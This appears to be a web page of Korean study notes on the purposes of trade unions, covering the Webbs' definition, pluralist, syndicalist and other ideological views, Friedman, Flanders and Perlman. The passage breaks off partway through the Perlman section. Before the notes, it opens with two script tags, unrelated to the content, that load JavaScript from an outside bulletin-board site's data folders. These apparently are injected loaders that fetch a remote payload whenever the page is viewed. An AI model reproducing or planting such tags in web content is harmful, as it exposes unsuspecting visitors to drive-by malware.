<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 1.노동조합의 목적
-시드니 & 베아트리체 웹(Sidney & Beatrice Webb)은 노동조합의 역사라는 책에서 `노동조합은 고용 상태를 유지하거나 개선할 목적 위한 임금노동자들의 항구적인 결사체`로 정의했다. 12년 후 그들은 자본주의 및 임노동 체계의 영속적인 유지와 관련될 우려 때문에 `고용`을 노동생활(working lives)로 대체했다.(wage-earners: employees, 노조 구성원 기준을 고용이란 공통성에 초점을 둔다.)
-누구의 이해인가? 무엇에 대한 이해인가? 목표의 상충성 존재.(직업집단의 이익인가? 노동자 계급의 이익인가? 등과 같이.) 그리고 분석적, 경험적, 관찰되거나 발견된 목적; 규정적(진정한), 공언된 목적의 차이. 규정적 목적은 특정한 이데올로기적 준거와 관련. 노동자 통제, 공공이익 등. 다층적 목적. 역사성과 당대적 의미를 갖는 노조에 의해 공적으로 언명된 목적에서 이데올로기적 입장을 경험적으로 관찰하는 것이 가능.
-5개 범주로 구분: 다원주의(pluralist)/ 생디칼리스트(syndicalists)/ 맑스레닌주의/ 도덕적 조화론(organicist)/ 권위주의(authoritarian)로 구분. 갈등적(다원주의, 생디칼, ML주의)-합의적(org., 권위주의); 노조에게 기대되는 책임성의 범위가 넓은 순서. org., 권위주의--생디칼리스트와 ML주의--다원주의.
2. 다원주의: 산업 규제자로서 노동조합
-갈등의 원천을 사회계급이 아니라, 그것을 가로지르는 분파적 이해관계에 두고, 특히 경제적 이익에 관심을 갖는 조직된 집단들간의 경쟁을 강조한다. 그리고 갈등이 사회경제 체계의 파괴하지 않고, 오히려 경쟁이 (어떤 집단이나 방법이 근본적인 제도적 관계를 위협하지 않는다는) 게임의 규칙에 대한 폭넓은 수용으로 완화되기 때문에, 그것을 지지, 고무하는 것으로 간주한다. 집단 상호간 그리고 정부와의 교섭에 따른 결과로서 합의는 어느 한 쪽의 압도적인 승리나 패배가 아닌 타협을 표현한다는 것이다.
-노동조합의 목적에 관해서 가장 온건하고 좁게 규정하는 접근으로서, 웹부부의 정의와 가장 친화적이다. 이들의 입장은 시장 경제 자유주의자인 M.Friedman이나 Allan Flanders와 상충되지 않는다.
-누구의 이익? 프리드만은 법적인 규정과는 별개로 노조나 기업의 리더는 조합원이나 주주의 이익에 대한 `사회적 책임`을 갖는다고 본다. 플란더스는 모든 노조의 가장 큰 책임은 국가나 기업이 아닌 조합원들의 복리라고 했다. 프리드만에게 이 제한적인 책임은 `자유경제`의 핵심조건이다. 플란더스는 그것을 민주적 과정에 기본적인 부분이라 보고 사회적 책임은 이차적이라고 보았다. 하지만, 그는 노조는 분파적 이익을 위해 존재하며, 조합원들의 이익은 그들이 자신들의 이익이라고 여기는 것이지 `진정한` 혹은 타인들에 의해 정의된 최선의 것이 그들의 이익이 아니라고 보았다.
-무엇에 대한 이익? 노조목적의 성격에 대해서는 다양한 견해가 있다. 그러나 모두다 조합원들의 일(work)과 관련된 문제에 초점을 둔다.
1)Selig Perlman : 펄만은 노조의 진정한 목적이 조합원들의 관심보다는 외부인들(non-worker)의 이데올로기적 입장을 반영한 의도가 부과되어 왜곡되고 불명료해 진다고 보았다. 이 외부인 혹은 지식인들이 노동운동의 발전에 기본적인 역할을 했다는 점은 인정하고 그들을 노동의 헌신적이지만 현실적 도움을 주지 못하는(impractical) 친구들이라고 보았다.
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